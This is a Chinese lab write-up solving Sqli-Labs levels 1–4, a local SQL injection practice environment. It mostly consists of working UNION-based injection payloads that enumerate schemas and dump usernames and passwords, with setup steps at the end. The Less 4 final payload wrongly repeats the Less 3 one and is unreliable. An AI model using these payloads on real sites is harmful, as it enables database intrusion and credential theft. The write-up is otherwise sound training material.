Chybeta

Sqli-Labs:Less1-4-writeup

Sqli-Labs是用来练习sql注入的好平台。project地址:https://github.com/Audi-1/sqli-labs
本文测试环境:使用phpstudy集成环境。mysql版本:5.5.53

Less 1

题目是 GET Error based- Single quotes -String。关注点:基于错误,单引号,字符型注入。

payload1

1
http://localhost:20000/sqllab/Less-1/?id=1'

此时页面会产生报错。

payload2

1
http://localhost:20000/sqllab/Less-1/?id=0' UNION SELECT 1,2,3 --+

通过UNION SELECT 或者 ORDER BY 语句可以发现字段数为 3 ,可显示位置为 2,3。尾部—+会被浏览器解释为— (空格),这在mysql里是注释。

payload3

获取数据库名称

1
http://localhost:20000/sqllab/Less-1/?id=0' UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA --+

利用元数据表INFORMATION_SCHEMA获取数据库信息。

获取表名

1
2
http://localhost:20000/sqllab/Less-1/
?id=0' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479 --+

这里 hex(security)=0x7365637572697479

获取字段名

1
2
http://localhost:20000/sqllab/Less-1/?id=
0' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 0x7573657273 --+

获取数据

1
2
http://localhost:20000/sqllab/Less-1/?id=
0' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+

Less 2

题目说是数值型注入。 不需要闭合引号。给出最终payload

1
2
http://localhost:20000/sqllab/Less-2/?id=
0 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+

Less 3

题目提示 SINGLE QUOTES WITH TWIST。

payload1

1
http://localhost:20000/sqllab/Less-3/?id=1'


注意到报错回显中有 ),说明需要闭合。

payload2

类似

将Less1中的几段payload的前面的 0’ 改为 0’) 即可

最终payload

1
2
http://localhost:20000/sqllab/Less-3/?id=
0') UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+

Less 4

这题需要闭合双引号。

payload1

1
http://localhost:20000/sqllab/Less-4/?id=0"


需要闭合 双引号

payload2

类似

将Less1中的几段payload的前面的 0’ 改为 0”) 即可

最终payload

1
2
http://localhost:20000/sqllab/Less-3/?id=
0') UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+

sqlilab环境搭建

下载sqlilab

传送门:https://github.com/Audi-1/sqli-labs
可以选择下载zip后解压或者自行git clone到本地,

推荐phpstudy

传送门:http://www.phpstudy.net/a.php/211.html
不懂使用的建议查一查。
这里假设phpstudyd 主页为 http://localhost:20000/

安装

将sqlilab解压出来的文件夹(默认名为 sqli-labs-master)拷贝到phpstudy的WWW目录下,打开phpstudy,访问sqlilab页面( http://localhost:20000/sqli-labs-master )。
点选Setup/reset Database for labs完成数据库配置。之后即可开始实验。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】